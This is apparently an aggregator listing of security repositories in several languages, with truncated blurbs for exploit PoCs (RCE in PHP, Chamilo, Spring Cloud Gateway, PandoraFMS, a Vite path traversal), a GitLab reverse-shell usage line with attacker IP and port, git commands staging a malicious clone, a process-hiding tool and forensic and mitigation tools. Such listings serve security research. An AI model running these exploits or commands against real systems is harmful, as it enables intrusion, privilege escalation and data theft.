CVE-2024-25291

DeskFiler RCE Una prueba de concepto para la vulnerabilidad CVE-2024-25291. deskfiler - 1.2.3 permite Electron webview en la aplicación, con el consiguiente código remoto En este repositorio hay un ejemplo de aplicación vulnerable y un exploit de prueba de concepto POC de la misma. Como PoC, hay ...

CVE-2024-29399

CVE-2024-29399 Detalles de la Vulnerabilidad Resumen En Savane v3.13 y anteriores, la falta de validación en los archivos subidos puede permitir una escalada de privilegios. Los servidores web configurados según las instrucciones de instalación son vulnerables a Cross‑Site Scripting XSS. En...

PartyLoud

Partyloud Recupera tu privacidad Genera navegación web falsa y mitiga el rastreo CodeFactor PartyLoud es una herramienta gratuita altamente configurable y sencilla que te ayuda a prevenir el rastreo directamente desde tu terminal Linux, sin necesidad de habilidades especiales. Una vez iniciada,...

netattack2

NETATTACK2 NETATTACK2 es un script escrito en Python que puede escanear y atacar redes. Está basado en GUI, lo que lo hace fácil de entender. ¿Qué puedo hacer con él? ESCANEO Escanea tu red en busca de hosts activos, su sistema operativo, puertos abiertos y mucho más. Escanea en busca de puntos d...

CVE-2024-4577-PHP-RCE

CVE 2024-4577 Ejecución remota de código en PHP escáner automatizado por Waived Versiones afectadas: PHP 8.3, 8.3.8, 8.2. 8.2.20, 8.1., 8.1.29 Detalles: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 https://www.exploit-db.com/exploits/52047 https://vulners.com/cve/CVE-2024-4577 Resumen: Este es ...

dfirtriage

dfirtriage Herramienta de adquisición forense digital para respuesta a incidentes en Windows. Cómo usar Para ejecutar, coloque dfirtriage.exe en el destino o en una unidad USB conectada y ejecútelo con derechos de administrador; use -h para obtener ayuda. Manual de Usuario de DFIRTriage v6.0...

dfirtriage

dfirtriage Digital forensic acquisition tool for Windows-based incident response. How to Use To run, drop dfirtriage.exe on the target or connected USB drive and execute with admin rights, -h for help. DFIRTriage v6.0 User's Manual Description This document outlines the functionality and proper u...

CVE-2022-22947

CVE-2022-22947 root@kitploit: script para explotar Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 root@kitploit: https://github.com/march0s1as/CVE-2022-22947 cd CVE-2022-22947 go build spring.go ./spring -h...

nginx-mitigate-log4shell

nginx-mitigate-log4shell Mitigate log4shell CVE-2021-44228 and CVE-2021-45046 vulnerability attacks using Nginx LUA script Requires the Nginx lua module https://www.nginx.com/resources/wiki/modules/lua/ to be enabled. Use include /path/to/mitigate-log4shell.conf; in the server ... context. Can be...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

mimic

mimic mimic es una herramienta para ejecución encubierta en Linux x8664. ¿Qué es la "ejecución encubierta"? La ejecución encubierta es el arte de ocultar un proceso. En este caso, mimic oculta el proceso a plena vista. mimic puede lanzar cualquier programa y hacerlo parecer cualquier otro program...

CVE-2021-4045

🔍 CVE-2021-4045: Vulnerabilidad de Inyección de Comandos en TP-Link Tapo C200 CVE-2021-4045 📌 Resumen CVE-2021-4045 es una vulnerabilidad de inyección de comandos descubierta en la cámara TP-Link Tapo C200 , que permite a un atacante tomar el control total del dispositivo con privilegios deroot...

chamilo-lms-unauthenticated-rce-poc

Chamilo LMS PoC de RCE sin autenticación Este es un script escrito en Python que permite la explotación de la vulnerabilidad de seguridad del software Chamilo LMS descrita en CVE-2023-4220. El sistema es vulnerable en versiones anteriores a 1.11.24. Uso Clona el repositorio en tu máquina e instal...

CVE-2024-32004

Create tmp repo, set uploadpack.allowfilter to true git init tmp git -C tmp config uploadpack.allowfilter 1 Clone evil from tmp repo git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp Configure remote filter script git -C evil config remote.origin.uploadpack...

Path-Transversal-CVE-2025-31125-

Vite Exploit CVE-2025-31125 Descripción: Explota el path traversal en el endpoint @fs del Servidor de Desarrollo de Vite CVE-2025-31125 para acceder a archivos sensibles como /etc/passwd y /etc/hosts mediante URLs manipuladas. Creado por Harsh Gupta. Uso: python viteexploit.py -u http://target.co...

CVE-2020-5844

CVE-2020-5844 RCE autenticado en PandoraFMS 7.0-NG 742 Atacantes con privilegios de administrador pueden subir documentos PHP maliciosos. Decodificando la ubicación del archivo en base64 los usuarios pueden obtener una shell como usuario apache. Descubierto por TheCyberGeek Script de PoC en Pytho...

CVE-2026-41651-Python

Pack2TheRoot: CVE-2026-41651 Python PackageKit TOCTOU 本地权限提升漏洞的 Python PoC。 任何本地非特权用户都可以在无需认证的情况下以 root 身份安装任意软件包。 字段| 值 ---|--- CVE| CVE-2026-41651 组件| PackageKit 守护进程 packagekitd 受影响版本| 1.0.2 – 1.3.4 修复版本| 1.3.5 影响| 本地权限提升 → root 免责声明 此工具仅用于教育目的和授权的安全研究 。 要求 存在漏洞的操作系统： 任何运行 PackageKit = 1.0.2 P...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Declaración de seguridad Este proyecto es únicamente para fines de investigación y educación en seguridad. El uso de esta herramienta para realizar pruebas no autorizadas es ilegal. El autor no se hace responsable de ningún mal uso o daño. 📋 Resumen CVE-2024-31317 es una...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Uso root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Créditos https://hackerone.com/reports/1154542 Fragmento de código referenciado desde aquí: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...

CVE-2024-48990

======================================================================== CVE-2024-48990 and CVE-2024-48992 To determine whether a Python process a process that is running the Python interpreter needs to be restarted, needrestart extracts the PYTHONPATH environment variable from this process's...